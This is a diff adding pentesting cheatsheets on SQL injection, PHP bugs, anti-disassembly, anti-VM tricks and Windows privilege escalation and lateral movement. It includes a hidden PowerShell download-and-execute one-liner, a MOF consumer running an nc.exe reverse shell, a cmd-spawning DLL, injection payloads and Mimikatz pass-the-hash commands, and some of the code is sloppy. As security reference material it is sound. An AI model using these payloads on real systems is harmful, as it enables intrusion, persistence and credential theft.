+rng> load recon/domain-hosts/bing_domain_web
+rng> run
+
+rng> show hosts
+```
+
+4) Bruteforce subdomains
+```
+rng> load recon/domains-hosts/brute-hosts
+rng> run
+```
+
+5) DNS Resolves
+```
+rng> load recon/hosts-hosts/resolve
+rng> run
+
+rng> load recon/hosts-hosts/reverse_resolve
+rng> run
+```
+
+6) Output all found hosts
+```
+rng> show hosts
+```
+

+ 65 - 0
cheatsheets/security/pentesting/tools.md

@@ -0,0 +1,65 @@
+---
+title: tools.md
+categories: [cheatsheets]
+tags: [security]
+---
+
+# Offsec Tools
+
+## Reconnaissance:
+
+* fierce
+* dig
+* whois
+* sparta
+* foca
+* recon-ng
+
+## Vulnerability Scanner:
+
+* nikto
+* openVAS
+* nessus (commercial)
+
+
+## Malware/exploits:
+
+* metasploit
+* msfvenom
+* backdoor factory
+* veil-evasion
+* macroshop
+
+
+## Exploitation:
+
+* IDA Pro
+* Binary Ninja
+* radare2
+* gdb
+* x64dbg
+
+
+## Networking:
+
+* macof         // Tool für macflooding
+* arpspoof
+* mitmproxy
+* sslstrip
+* backdoof factory proxy
+
+
+## Fuzzing:
+
+* zzuf      // Mutation based fuzzer
+* sully     // Generation based fuzzer
+* AFL
+* scapy     // is fuzzing network packets
+
+## Password Cracking:
+
+* hydra         // online password cracking
+* JohnTheRipper // offline cracking
+* Hashcat
+
+

+ 173 - 0
cheatsheets/security/reversing/anti_disassembly.md

@@ -0,0 +1,173 @@
+---
+title: Anti Disassembly Techniques
+categories: [cheatsheets]
+tags: [security, reverse-engineering]
+---
+
+# Anti Disassembly
+
+## 2 Types of Disassembly Algorithms
+
+* Linear Disassembly
+* Flow-oriented Disassembly
+
+
+### Linear Disassembly
+
+* Have Problems distinguish between Code & DATA
+* Disassemble the complete .text section
+* often contanis wrong disassembly (even in non-malicious code)
+* iterates blindly over buffer
+
+### Flow-Oriented Disassembly
+
+* used by commercial products
+* the disassembler follows the Jmp's and only disassembles locations that are reached in the code
+
+
+## Anti Disassembly Techniques
+
+### Jump-Same-Target
+
+* Two conditional jumps are made to the same location
+* the first byte after the location
+* define the NOP byte as a byte-constant: eg 0xe8 (call-instruction)
+
+```C
+_start:
+
+	push ebp
+	mov ebp, esp
+	xor eax, eax
+	jz jump+1
+	jnz jump+1
+
+jump:
+	nop
+	push eax
+	push ebx
+	push ecx
+
+```
+
+Result in BinaryNinja: Interprets the 0xe8 as call instruction, still continues the correct execution!
+No result in IDA Pro.
+
+### Jump with Constant Condition
+
+* use a conditional jump with a constant condition
+* will insert a call instruction
+* disassembler disassembles the else-branch first.
+* Working for BinaryNinja
+* Not working for IDA Pro
+
+```C
+_start:
+	push ebp
+	mov ebp, esp
+	xor eax, eax
+	jz jump
+	nop 		; define this as 0xe8
+jump:
+	push eax
+	push ebx
+	push ecx
+```
+
+
+### Impossible Disassembly
+
+* One Byte is together in two instructions
+```
+              inc eax
+              -----
+ hex:   EB FF C0 48
+           -----    **
+ instr: jmp-1    dec eax
+```
+
+* the EBB FF jumps in the middle of the jump instruction, therefor being FF C0 the next instruction (inc eax)
+* then 48 as dec eax
+* Works in IDA Pro
+* Binary Ninja can disassembly this
+* simply insert "EB FF C0 48" at any position
+* like a complicated NOP-Instruction
+
+
+```C
+section .text
+	global _start
+
+_start:
+
+	push ebp
+	mov ebp, esp
+	jmp $-1     ; change sec. Byte to FF
+	nop     	; change to 0xC0
+	dec eax
+
+	; do your stuff here
+	push eax
+	push ebx
+	push ecx
+```
+
+
+* also possible even more complex
+* replace 9 nop bytes with: 66 B8 EB 05 31 C0 74 FA E8
+* Binary Ninja gets it!, IDA Pro Not
+
+
+### Function Pointers
+
+* using function pointers in following way
+
+```C
+mov [ebp+0x8], offset sub_12342
+push 0x1
+push 0x2
+call [ebp+0x8]
+...
+..
+..
+call [ebp+0x8]
+```
+
+* Problem: only first call can be found in the xref Window
+* in combination with other anti-dissass. techniques very powerfull
+* should be used extensivly to be effective
+
+
+### Return Pointer Abuse
+
+* Retn or Ret pops a value from the stack and jumps to it
+* can be abused to confuse disassemblers
+
+```C
+call $+5 			 ; pushes next addr on the stack
+add [esp+4+var_4], 5 ; add 5 to the stack (-> So the address points to the 'real function')
+retn
+---------------------------------
+push ebp		; real function, not found by IDA pro because of the return instruction
+mov ebp, esp
+...
+..
+.
+```
+
+
+### Misuing Structed Exception Handlers (SEH)
+
+* Use the SEH to confuse Disassemblers
+* add a custom SE Handler at fs:0x00 with
+```C
+; malicious func @ sub_deadbeef
+mov eax, sub_deadbeef
+push eax              ; push handler addr on stack
+push dword ptr fs:0   ; push current old handler ptr on stack (prev)
+mov fs:0, esp		  ; set the stack pointer as SEH_STRUCT
+
+xor ecx, ecx
+div exc               ; force an exception by dividing by zero
+
+```

+ 101 - 0
cheatsheets/security/reversing/anti_virtualmachine.md

@@ -0,0 +1,101 @@
+---
+title: Anti-Virtual-Machine
+categories: [cheatsheets]
+tags: [security, reverse-engineering]
+---
+
+# Anti-Virtual-Machine
+
+
+## VM Artifacts
+
+* VMWare Toolhelper
+* Some VMWare Registry Artifacts
+* -> eg. use Toolhelp32Snapshot to loop though processes
+* VMWare Services for IO Stuff
+
+
+## VM Vulnerable Instructions
+
+for Kernel Mode / Priviledged Operations, VMs use binary translation,
+so every instruction translated for emulation. These instructions are not given to the real Kernel,
+gut emulated by the VM Monitor.
+Use Mode / Unpriviledged Operations run directly on the CPU, (Binary translation would have a to big overhead),
+so there are some instructions that can be used to detect this behaviour.
+
+sidt, sldt, sgdt are usermode instructions which get the Address of Instruction- /Local- /Global- Distriptor Tabel
+
+-> Two attacks on this problem: Red-Pill and No-Pill
+
+
+## Red-Pill Anti-VM
+
+The Instruction Discriptor Table needs to be remapped by the VM, the remapping places are vencor specific.
+
+```
+0x80ffffff in Windows
+0xe8XXXXXX in Virtual PC
+0xffXXXXXX in VMware
+```
+
+To detect this:
+
+```ASM
+push    8
+push    0
+lea     eax, [ebp+Dst]
+push    eax
+call    _memset
+add     esp, 0Ch
+lea     eax, [ebp+Dst]
+sidt    fword ptr [eax]     ; Contents of IDTR saved to memory location pointed to by EAX
+mov     al, [eax+5]         ; Start of base memory address (5th byte offset) saved to AL
+cmp     al, 0FFh            ; Check whether it is 0xFF (VMware signature)
+jnz     short loc_401E19
+
+```
+
+**Important:** This only works on single-core CPUs, with Multiple Cores, VMWare remapps multiple SDT's
+
+## No-Pill
+
+sgdt & sldt is assigned to an CPU not an Operating System. On Windows this is mostly _zero_
+On VMWare its _nonzero_
+
+Can be disabled in VMWare with: `Settings->Processors->Disable Acceleration`
+
+
+
+## Querying IO Ports
+
+Instruction used: in <dst> <src>
+
+* in the src Operand there is the Channel Port for VMWare communication Port ("VX" or 0x5686)
+* in the dst Operand there is the Memory Location for the result
+* in EAX there must be the Magic Number: 0x564D5868 ("VMXh")
+* ECX is the Value for the Action to be performed (0xA for Querying the VMWare Version Number, 0x14 for "GetMemorySize()")
+
+
+```ASM
+
+mov eax, 'VMXh'
+mov ebx, [ebp-var_result]
+mov ecx, 0xA
+mov dx, 'VX'
+in eax, dx
+mov [ebp-var_result], ebx
+mov eax, [ebp-var_result]
+cmp eax, 'VMXh'
+je vmwaredetected
+```
+
+# Summary
+
+Anti-VM Instructions
+
+* sidt, sgdt, sldt
+* smsw
+* str
+* in
+* cpuid
+

+ 56 - 0
cheatsheets/security/reversing/calling_conventions.md

@@ -0,0 +1,56 @@
+---
+title: Calling Conventions
+categories: [cheatsheets]
+tags: [security, reverse-engineering]
+---
+# x86 Calling Convetions
+
+1. cdecl:
+    * most popular
+    * Parameters a pushed on the stack, from right to left
+    * caller needs to clean up the stack
+
+2. stdcall
+    * like cdecl, but callee needs to clean up the stack
+    * standard calling convention for the Windows API
+
+3. fastcall
+    * first few Arguments are passed in registers (in Windows mostly edx, ecx)
+    * other Arguments are pushed on the stack, from right to left
+    * often a little bit more efficient (less Stack usage)
+
+
+## Compiler Differences
+
+Different compilers use different conventions, even when passing parameters over the stack,
+gcc differs from vs compiler: vsc pushes the params. on the stack, gcc moves them on the stack.
+
+visual studio compiler:
+```
+push ebx
+push ecx
+call add
+```
+
+gcc:
+```
+mov [esp+4], ebx
+mov [esp], ecx
+call add
+```
+
+## 32Bit vs 64Bit
+
+Detaild List:
+
+https://en.wikipedia.org/wiki/X86_calling_conventions#x86-64_calling_conventions
+
+32 Bit: Parameters are passed over the Stack
+
+64 Bit:
+
+    * Windows:  RCX, RDX, R8, R9 - Rest over the Stack
+    * Linux:    RDI, RSI, RDX, RCX, R8, R9 - Rest over the Stack
+
+
+

+ 24 - 0
cheatsheets/security/reversing/reverse-engineering-web-assembly.md

@@ -0,0 +1,24 @@
+---
+title: reverse-engineering-web-assembly.md
+categories: [cheatsheets]
+tags: [security, reverse-engineering]
+---
+# WASM Cheatsheet
+
+
+# References
+
+* https://github.com/WebAssembly/design/blob/master/Semantics.md
+* http://www.pnfsoftware.com/reversing-wasm.pdf
+
+
+# Instruction table
+
+```
+get_local $x                // pushes local variable x on the stack
+I32.LE_S                    // pops two operands from the stack, compares them (LE = Less-or-equal)
+```
+
+
+
+

+ 34 - 0
cheatsheets/security/source-code-audit/debugging-java-thick-clients.md

@@ -0,0 +1,34 @@
+---
+title: (Remote-) Debugging Java Thick Clients
+categories: [cheatsheets]
+tags: [security]
+---
+
+# (Remote-) Debugging Java Thick Clients
+
+This debugging technique also works if no source-code or not the complete source-code is available.
+
+## Blackbox
+
+If only the .jar files are available, use a java decompiler (e.g. jd-gui) and decompile the jar-files.
+Make sure to check the box "realign line numbers" in the preferences of jd-gui.
+This ensures the lines in the source-code match the lines in the class file.
+
+
+## Config
+
+### Java
+
+To configure the remote debugging for java-clients, use the following java command line parameters:
+
+```
+java -agentlib:jdwp=transport=dt_socket,server=y,address=8000,suspend=n <other arguments>
+```
+
+### Eclipse
+
+In eclipse/intelliJ, import all the source-code files to a new project.
+Any occurring errors can be ignored in this case.
+Configure the remote-debugger under `run->configure-debugger` to match the server-ip/port.
+
+**Happy Debugging** 😀

+ 44 - 0
cheatsheets/security/web/php_type_juggling.md

@@ -0,0 +1,44 @@
+---
+title: PHP Type Juggling
+categories: [cheatsheets]
+tags: [security, web]
+---
+
+# PHP Type Juggling
+
+Reference:
+
+https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf
+
+PHP has two main comparison modes, lets call them loose (==) and strict (===).
+
+Comparing a string to an integer: "asomepass" == 1
+
+* Php trys to convert the string to a number and do an number conversion.
+* If there is an character in that string it returns as 0 (zero)
+
+For Example:
+```
+"asd1231"   == int(0) : True
+"abc"       == int(0) : True
+"0000"      == int(0) : True
+```
+
+-> Even when having to strings that look like numbers,
+php converts both and does a number comparison
+
+```
+"0xF" == "15" : True ...
+```
+
+
+
+## Possible for bypassing CSRF token checking!
+
+if the token starts with a letter or int(0), php will
+convert the token to an integer.
+
+
+
+
+

+ 128 - 0
cheatsheets/security/web/php_vulnerabilities.md

@@ -0,0 +1,128 @@
+---
+title: Some Important PHP Vulnerabilities
+categories: [cheatsheets]
+tags: [security, web]
+---
+
+# Top 24 PHP Vulnerabilities
+
+## 1) Missing Typechecking
+
+Missing typechecking in function _in\_array()_, which lets you upload a file which is called
+_2backdoor.php_ or similar.
+
+```PHP
+class Challenge {
+    const UPLOAD_DIRECTORY = './solutions/';
+    private $file;
+    private $whitelist;
+
+    public function __construct($file) {
+        $this->file = $file;
+        $this->whitelist = range(1, 24);
+    }
+
+    public function __destruct() {
+        if (in_array($this->file['name'], $this->whitelist)) {
+            move_uploaded_file(
+                $this->file['tmp_name'],
+                self::UPLOAD_DIRECTORY . $this->file['name']
+            );
+        }
+    }
+}
+
+$challenge = new Challenge($_FILES['solution']);
+```
+
+
+
+## 2) Twig
+
+* Twig is a PHP Template Engine
+* The Code contains a XSS Attack
+
+-> The URL filter and twig escape can be bypassed by using a valid URL format + newline to escape href
+
+-> The Payload would be: `?nextSlide=javascript://comment%250aalert(1)`
+
+```PHP
+// composer require "twig/twig"
+require 'vendor/autoload.php';
+
+class Template {
+    private $twig;
+
+    public function __construct() {
+        $indexTemplate = '<img ' .
+            'src="https://loremflickr.com/320/240">' .
+            '<a href="{{link|escape}}">Next slide »</a>';
+
+        // Default twig setup, simulate loading
+        // index.html file from disk
+        $loader = new Twig\Loader\ArrayLoader([
+            'index.html' => $indexTemplate
+        ]);
+        $this->twig = new Twignvironment($loader);
+    }
+
+    public function getNexSlideUrl() {
+        $nextSlide = $_GET['nextSlide'];
+        return filter_var($nextSlide, FILTER_VALIDATE_URL);
+    }
+
+    public function render() {
+        echo $this->twig->render(
+            'index.html',
+            ['link' => $this->getNexSlideUrl()]
+        );
+    }
+}
+
+(new Template())->render();
+```
+
+
+## 3) File Inclusion
+
+* File Inclusion Vulnerability when calling a non existent class, can be abused by including ../../../../etc/passwd
+* Second Bug: (works in newest PHP Versions)
+
+-> Class Name is used for an Object Instantiation + first argument of constructor can be arbitarily choosen by attacker
+
+-> PHPs built-in class _SimpleXMLElement_ can be used for an XXE Attack to read arbitrary files.
+
+
+```PHP
+function __autoload($className) {
+    include $className;
+}
+
+$controllerName = $_GET['c'];
+$data = $_GET['d'];
+
+if (class_exists($controllerName)) {
+    $controller = new $controllerName($data['t'], $data['v']);
+    $controller->render();
+} else {
+    echo 'There is no page with this name';
+}
+
+class HomeController {
+    private $template;
+    private $variables;
+
+    public function __construct($template, $variables) {
+        $this->template = $template;
+        $this->variables = $variables;
+    }
+
+    public function render() {
+        if ($this->variables['new']) {
+            echo 'controller rendering new response';
+        } else {
+            echo 'controller rendering old response';
+        }
+    }
+}
+```

+ 138 - 0
cheatsheets/security/web/sql-injection.md

@@ -0,0 +1,138 @@
+---
+title: SQL Injections
+categories: [cheatsheets]
+tags: [security, web]
+---
+
+# SQL Injections
+
+Reference:
+
+https://sqlwiki.netspi.com/?dbms=SQLServer
+
+## Find number of Columns of the Database
+
+```
+id=1 order by 10-- +
+id=1 UNION SELECT 1, 2, 3, 4, .., ..-- +
+```
+
+# Information Gathering
+
+## MySQL:
+
+```
+id=1 UNION SELECT version()-- +
+```
+
+Possible Functions:
+
+* version()
+* database()
+* user()
+* system_user()
+* mysql.user
+* @@datadir
+
+```
+Databases: id=1 UNION SELECT schema_name FROM information_schema.schemata-- +
+Tables:    id=1 UNION SELECT table_schema FROM information_schema.tables-- +
+Columns:   id=1 UNION SELECT column_name FROM information_schema.columns where table_name=0x<table-name-in-hex>-- +
+```
+
+## SQLite:
+
+```
+id=1 UNION SELECT 1, 2 FROM sql_master-- +
+```
+
+
+# UNION
+
+# The Way UNION works
+
+Table 1 (Objects):
+```
++----+-----+-------+
+| id | obj | color |
++----+-----+-------+
+| 1  | Cat | black |
++----+-----+-------+
+| 2  | Dog | blue  |
++----+-----+-------+
+```
+
+Table 2 (Persons):
+```
++------+-----+------+
+| name | Job | Pass |
++------+-----+------+
+| Bart | st  | cara |
++------+-----+------+
+| Lisa | st  | sax  |
++------+-----+------+
+| magg | by  | oki  |
++------+-----+------+
+```
+
+Join both tables with an UNION:
+```
+SELECT * FROM objects UNION SELECT * FROM persons;
+```
+
+```
++------+-----+------+
+| name | Job | Pass |
++------+-----+------+
+| 1    | Cat | black|
++------+-----+------+
+| 2    | Dog | blue |
++------+-----+------+
+| Bart | st  | cara |
++------+-----+------+
+| Lisa | st  | sax  |
++------+-----+------+
+| magg | by  | oki  |
++------+-----+------+
+```
+**Problem:**    Important: Both Table need the same number of columns
+
+**Solution:**
+```
+SELECT * from objects UNION SELECT 1, 2, 3 FROM tablewith10columns;
+                                   -------
+                                   \-> Needs to be the same number of column than the first table
+```
+
+**Problem:**    If you only need Data from the second Table
+
+**Solution:**
+```
+SELECT * from objects where 1=2 UNION SELECT * from persons; // First query needs to return FALSE or a Dataset that is not present
+```
+
+# Error based SQL Injection
+
+Try to force an error and integrate your own query into the error for more information.
+
+Example:
+```
+SELECT exp(~(select * from(select user())x));
+
+--> ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
+```
+
+
+# Blind SQL Injection
+
+* Partial Blind/Boolean
+
+```
+id=1 UNION SELECT substring(version(),1,1)=5
+```
+
+* Full Blind
+
+```
+id=1 UNION SELECT IF(SUBSTRING(version(),1,1)=5,SLEEP(5),null)
+```

+ 24 - 0
cheatsheets/security/windows/domain-portscanning.md

@@ -0,0 +1,24 @@
+---
+title: (Port-) Scanning in Windows Domain Networks
+categories: [cheatsheets]
+tags: [security, windows]
+---
+
+# Nmap Scanning in Windows Domain Networks
+
+Some techniques/snippets to scan hosts/ports/... in a (big) windows domain network.
+
+
+1) Get all users of that Domain (Hostnames)
+
+`Use powersploit: Get-NetComputer`
+
+2) Resolve these hostnames into ips: `[System.Net.Dns]::GetIpAddresses("hostname")`
+
+3) Take subnets of these ips and | unique them
+
+4) Nmap host discovery over all subnets
+`nmap -sn -iL <ips> -oA <outfile>`
+
+5) use this list to make a more deep nmap scan
+`nmap -sS -oA deep -sV -p 80, 443, 445, (database ports, etc) .. --script smb-enumen-shares.nse -iL <ips> -oA <outfile>`

+ 20 - 0
cheatsheets/security/windows/kerberos-attacks.md

@@ -0,0 +1,20 @@
+---
+title: Kerberos Attacks
+categories: [cheatsheets]
+tags: [security, windows]
+---
+
+# Kerberos Attacks
+
+* Ressource: https://www.tarlogic.com/en/blog/how-to-attack-kerberos/
+
+## Tools
+
+* Mimikatz
+* Rubeus
+* PsExec
+* Kerbrute
+* ASREPRoast
+* hashcat
+* Impacket
+*

+ 66 - 0
cheatsheets/security/windows/lateral_movement.md

@@ -0,0 +1,66 @@
+---
+title: Lateral Movement
+categories: [cheatsheets]
+tags: [security, windows]
+---
+
+
+
+# Lateral Movement
+
+Detailed information:
+
+https://fuzzysecurity.com/tutorials/25.html
+
+Tools:
+
+* nbtscan       # Get NetBios information for a host
+* PSExec        # get shell to another host with credentials/or hash only!
+* Mimikatz      # dump hashes, passwords, and do pretty much everything
+* Incognite     # tool to impersonate tokens
+
+## Smash-and-grab
+
+* get whatever credentials you can get and try to use it
+* passwords and hashes, doesnt matter
+
+
+## Token impersonation
+
+Grab tokens of other users (using NtQuerySysteminformation vodoo)
+can impersonate these tokens to do stuff as another user!
+
+-> user must be logged in!
+
+```
+<meterpreter session>
+incognito> list_tokens -u
+incognito> impersonate_token DOMAIN\username
+
+// or, if it is working, use powersploit:
+
+Invoke-TokenManipulation
+```
+
+
+
+## Mimikatz
+
+Local Pass the Hash:
+```
+mimikatz> privilege::debug      # check if debug priv is set
+mimikatz> sekurlsa::pth /user:<user> /domain:. /ntlm:<hash>
+```
+
+
+## PsExec
+
+* metasploit module: `exploit/windows/smb/psexec`
+* microsoft one: `cmd> PsExec.exe \10.0.0.100 -u <user> -p <pass> cmd`
+* metasploit module: `exploit/windows/smb/psexec`
+
+## Admin shares
+
+Admin shares are automatically created by windows
+contain all partitions as hidden admin share
+`C:\ = \ip`

+ 30 - 0
cheatsheets/security/windows/malicious-dll.md

@@ -0,0 +1,30 @@
+---
+title: Windows DLL to execute cmd.exe
+categories: [cheatsheets]
+tags: [security, windows]
+---
+
+# Windows DLL to execute cmd.exe
+
+```
+#include <stdlib.h>
+#include <string>
+#include <windows.h>
+
+BOOL APIENTRY DllMain(HMODULE hModule,
+                        DWORD ul_reason_for_call,
+                        LPVOID lpReserved) {
+
+    switch (ul_reason_for_call) {
+        case DLL_PROCESS_ATTACH:
+            system("cmd.exe");
+        case DLL_THREAT_DETACH:
+        case DLL_PROCESS_ATTACH:
+        case DLL_THREAT_DETACH:
+            break;
+    }
+    return TRUE;
+}
+```
+
+

+ 12 - 0
cheatsheets/security/windows/mimikatz.md

@@ -0,0 +1,12 @@
+---
+title: Mimikatz
+categories: [cheatsheets]
+tags: [security, windows]
+---
+
+# Mimikatz
+
+Full reference:
+
+https://adsecurity.org/?page_id=1821
+

+ 18 - 0
cheatsheets/security/windows/ntlm-relaying.md

@@ -0,0 +1,18 @@
+---
+title: NTLM Relaying
+categories: [cheatsheets]
+tags: [security, windows]
+---
+
+# NTLM-Relaying
+
+Tools needed:
+
+* Responder
+* ntlmrelayx.py (a tool from "impacket")
+* Powershell Empire ;)
+
+
+Just follow this Guide: (its awesome)
+
+https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

+ 45 - 0
cheatsheets/security/windows/powershell.md

@@ -0,0 +1,45 @@
+---
+title: Powershell Windows (Security-) Administration
+categories: [cheatsheets]
+tags: [security, windows]
+---
+
+# Powershell
+
+1) powershell.exe Parameter:
+
+```
+-Exec Bypass    // allows the execution of scripts
+-NoP            // NoProfile - keep same/standard environment
+-NonI           // Non Interactive Mode -> No Promt, just execution of the commands
+-W Hidden       // Hide the Window
+-noexit         // Keeps the shell open (good for keyloggers etc)
+-Command        // Execute a command
+```
+
+
+2) Use the powershell to get information about the system
+
+
+```
+Get-Hotfix      // checks windows patches
+Get-Service     // print all services
+Get-Process     // print all processes
+Get-Credentials // Nice login field for social engineering
+```
+
+3) Load scripts from webserver and execute them (inline and in-memory)
+```
+powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://URL-desSkripts'; Parameter
+```
+Important:
+
+-> Never use a unknown code from the internet for a client!
+
+
+4) Some powershell scripts for pentesters
+
+* https://github.com/cheetz/Easy-P
+* https://github.com/PowerShellMafia/PowerSploit
+* https://github.com/samratashok/nishang/tree/master/Gather
+

+ 111 - 0
cheatsheets/security/windows/windows-administration.md

@@ -0,0 +1,111 @@
+---
+title: Windows Administration
+categories: [cheatsheets]
+tags: [windows]
+---
+
+# Windows Administration Stuff
+
+
+## System information
+```
+cmd> systeminfo
+cmd> hostname
+cmd> echo %username%
+```
+
+
+## Listing users on a System
+```
+cmd> net user
+cmd> net user "<Username>"
+cmd> net user /domain
+```
+
+With more information (using wmic):
+
+```
+cmd> wmic useraccount get /All
+```
+
+
+## Adding/Deleting a new User
+```
+cmd> net user <username> <password> /ADD [/domain]
+cmd> net user <username> /DELETE [/domain]
+```
+
+
+## Adding a user to a group
+```
+cmd> net localgroup <groupname> <username> /ADD
+```
+
+
+## Listing Members of a Group
+```
+cmd> net localgroup
+cmd> net localgroup administrators
+cmd> net group /domain
+```
+
+
+## Listing open ports
+```
+cmd> netstat -a
+cmd> netstat -ano
+```
+
+
+## More networking information
+```
+cmd> arp -a
+cmd> ipconfig /all
+cmd> route print
+```
+
+
+## Firewall configuration
+```
+cmd> netsh firewall show config
+cmd> netsh firewall show state
+```
+
+
+## Group policies
+```
+cmd> grpresult /SCOPE USER /Z
+cmd> grpresult /SCIPE COMPUTER /Z
+```
+
+## Wlan Infors
+```
+cmd> netsh wlan show networks mode=bssid
+cmd> netsh wlan show profiles
+cmd> netsh wlan show profile <profile-name>
+cmd> netsh wlan show drivers
+cmd> netsh wlan show interfaces
+```
+
+
+## Scheduled Tasks, Tasklist, Services
+```
+cmd> schtasks /query /fo LIST /v        ## list all scheduled tasks as a list
+cmd> tasklsit /SVC                      ## get services linked to its executables
+cmd> net start                          ## started services
+cmd> DRIVERQUERY                        ## Get Driver, can be interesting for 3rd Party drivers
+cmd> sc query                          ## get all services
+```
+
+## Getting a Services that are not in C:\Windows
+```
+wmic service get name, displayname, pathname,startmode|findstr /i "auto"|findstr /i /v "C:\windows\"
+```
+
+-> Can be used to check for too liberal access rights (write access)
+
+```
+wmic service get name,displayname,pathname,startmode|findstr /i "auto" |findstr /i /v "c:\windows\" |findstr /i /v """
+```
+
+-> Additionaly search for paths not containing quotes -> Unquoted Service Paths

+ 55 - 0
cheatsheets/security/windows/windows-local-privilege-escalation_schedtask.md

@@ -0,0 +1,55 @@
+---
+title: Windows Priviledge Escalation Walkthrough - Windows XP schedtask
+categories: [cheatsheets]
+tags: [security, windows]
+---
+
+
+# Windows Privilege Escalation Exampel - Windows XP Schedask
+
+**Exploit found by:** SandboxEscaper aka Polarbear
+
+
+## Windows Tasks
+
+* Operated by the windows task scheduler (schtasks.exe)
+* All Tasks are stored as XML Files in C:\Windows\System32\Tasks
+* Legacy Tasks are stored in C:\Windows\Tasks
+-> Legacy Tasks are stored in the ".job" format (not XML)
+
+* existing Tasks (XML-) Files cannot be manipulated, because Windows schtask-scheduler stores the hash of the original task to prevent manipulations.
+* Old Tasks can be converted to the new tasks with the old schtasks.exe and schtasks.dll by using the command:
+
+```
+schtasks.exe /change "OldTask" /RU <user> /RP <password>
+```
+
+This will take the Task OldTask from C:/Windows/Tasks and import it into the new task scheduler.
+
+## Basic Exploit Structure
+
+* 1) legacy schtasks.exe uses the RPC Call _SchRpcRegisterTask that is exposed by the task scheduler service.
+
+* 2) The service impersontates the current user
+* 3) In SetJobFileSecurityByName(..), the service impersonates NT SYSTEM!
+* 4) Abuse this with the following code:
+
+    1) Copy old job file into C:/Windows/Tasks
+    2) schtasks.txt /change old /RU <user> /RP <password>
+    3) Delete the new job XML file in C:/windows/system32/tasks
+    4) Hardlink the file you want to obtain write privileges to that task
+    5) reexecute the schtasks command
+    6) Profit?!
+
+
+## Windows RPC
+
+Getting the Windows symbols by executing:
+
+(symchk is a tool/executable that is provided with windbg.)
+
+```cmd
+symchk /s srv*c:\symbols*https://msdl.microsoft.com/download/symbols c:\windows\system32\*.dll
+```
+
+

+ 69 - 0
cheatsheets/security/windows/windows-mof-files.md

@@ -0,0 +1,69 @@
+---
+title: Windows MOF Files
+tags: [security, windows]
+---
+
+# Windows MOF Files
+
+MOF = Managed Object Format
+
+MOF - language to describe CIM Classes for WMI
+
+## About MOF Files
+WMI lets you execute when an event occures. Events := {Programm start, logon, ...}
+
+Available Methods for MOF Classes
+```
+__EventFilter  : permits to define a Windows event,
+__EventConsumer: defines a consumer. This class is actually an abstract class with several implementations. The most interesting one is ActiveScriptEventConsumer [9] because it makes possible to embed VBScript or JSScript in the consumer. Note that it is only available in the namespace root\subscription.
+The cool thing is that the consumer runs with SYSTEM privilege on Windows XP and Windows 2003 Server. Under Vista, it is running under the LOCAL_SERVICE user. I haven't tried under Windows 7, maybe someone ? =)
+__FilterToConsumerBinding: it is used to link the two other instances. In other words, it permits to activate the consumer - and to execute its code - whenever the defined event occurs.
+```
+
+MOF Files can be compiled into the WMI repository using mofcomp.exe!
+**BUT** windows automatically compiles MOF files when put into the following path: %SystemRoot%\System32\wbem\mof\
+
+(Only on Windows XP, not anymore on Windows Vista and newer) :/
+
+This Path is only writable as Administrator!
+
+## Attachment
+
+Example MOF File, this executes a VBScript when an Logon Events occures
+
+```MOF
+#pragma namespace ("\\\\.\\root\\subscription")
+
+instance of __EventFilter as $FILTER
+{
+    Name = "CLASS_FIRST_TEST";
+    EventNamespace = "root\\cimv2";
+ Query = "SELECT * FROM __InstanceCreationEvent "
+  "WHERE TargetInstance ISA \"Win32_NTLogEvent\" AND "
+  "TargetInstance.LogFile=\"Application\"";
+
+    QueryLanguage = "WQL";
+};
+
+instance of ActiveScriptEventConsumer as $CONSUMER
+{
+    Name = "CLASS_FIRST_TEST";
+    ScriptingEngine = "VBScript";
+
+    ScriptText =
+      "Set objShell = CreateObject(\"WScript.Shell\")\n"
+   "objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe 192.168.38.1 1337 -e C:\\Windows\\system32\\cmd.exe\"\n";
+};
+
+instance of __FilterToConsumerBinding
+{
+    Consumer = $CONSUMER ;
+    Filter = $FILTER ;
+};
+```
+
+
+
+### Reference
+
+* https://poppopret.blogspot.com/2011/09/playing-with-mof-files-on-windows-for.html

+ 45 - 0
cheatsheets/security/windows/windows_privesc.md

@@ -0,0 +1,45 @@
+---
+title: Windows Priviledge Escalation
+categories: [cheatsheets]
+tags: [security, windows]
+---
+
+# Windows Hacking - Priviledge Escalation
+
+1) Tools:
+
+    * Mimikatz
+    * Powersploit (github.com/PowershellMafia/powersploit)
+    * Empire
+    * PsAttack
+    * BloodHoundAD (github.com/BloodHoundAD/Bloodhound)
+
+2) Passwords and Storage
+
+There are the following passwords (stored) on a windows machine:
+
+* LM Hashes (old and unsafe, 2 * 7 Chars DES)
+* NTLM Hashes (since vista, md4(unicode(password))
+* DCC (Domain Cached Credentials) (mostly MsCacheV2 -> PBKDF2(...))
+* Plaintext (Service Passwords in the Registry)
+
+-> pretty much everything can be captured using mimikatz
+
+3) Services
+
+```
+a) Check unquoted ServicePaths              (powersploit::Get-ServiceUnquoted)
+b) Check Service Permissions                (powersploit::Get-ModifiableService)
+c) Check Service Executable Permissions     (powersploit::Get-ModifiableServiceFile)
+```
+Get details about a service:
+
+```
+native:     sc query [<name>]
+psploit:    Get-ServiceDetail [<name>]
+```
+
+
+
+
+

+ 163 - 0
cheatsheets/security/windows/windows_privesc_detail.md

@@ -0,0 +1,163 @@
+---
+title: Windows Priviledge Escalation ~ Details
+categories: [cheatsheets]
+tags: [security, windows]
+---
+
+# Priviledge Escalation
+
+1) Information Gathering
+
+Get as much information about the system as possible.
+
+For example:
+
+* users
+* groups
+* hostname
+* windows version
+* firewall rules
+* networking settings
+* services
+* scheduled tasks
+* tasklist
+
+Detailed Commands to extract this information can be found in:
+
+* windows-administration.md
+* wmic.md
+
+
+2) Check the Quick Fails
+
+2.1) check the patches of the machine
+
+```
+cmd> wmic qfe get Caption,Description,HotFixID,InstalledOn
+// Important: check the kbid for known windows priviledge escalation vulnerabilities
+// eg: KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)
+
+// Grep the wmic output for those KB Numbers, and hope they are not in there...
+* cmd> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."
+```
+
+-> windows privchecker script?
+
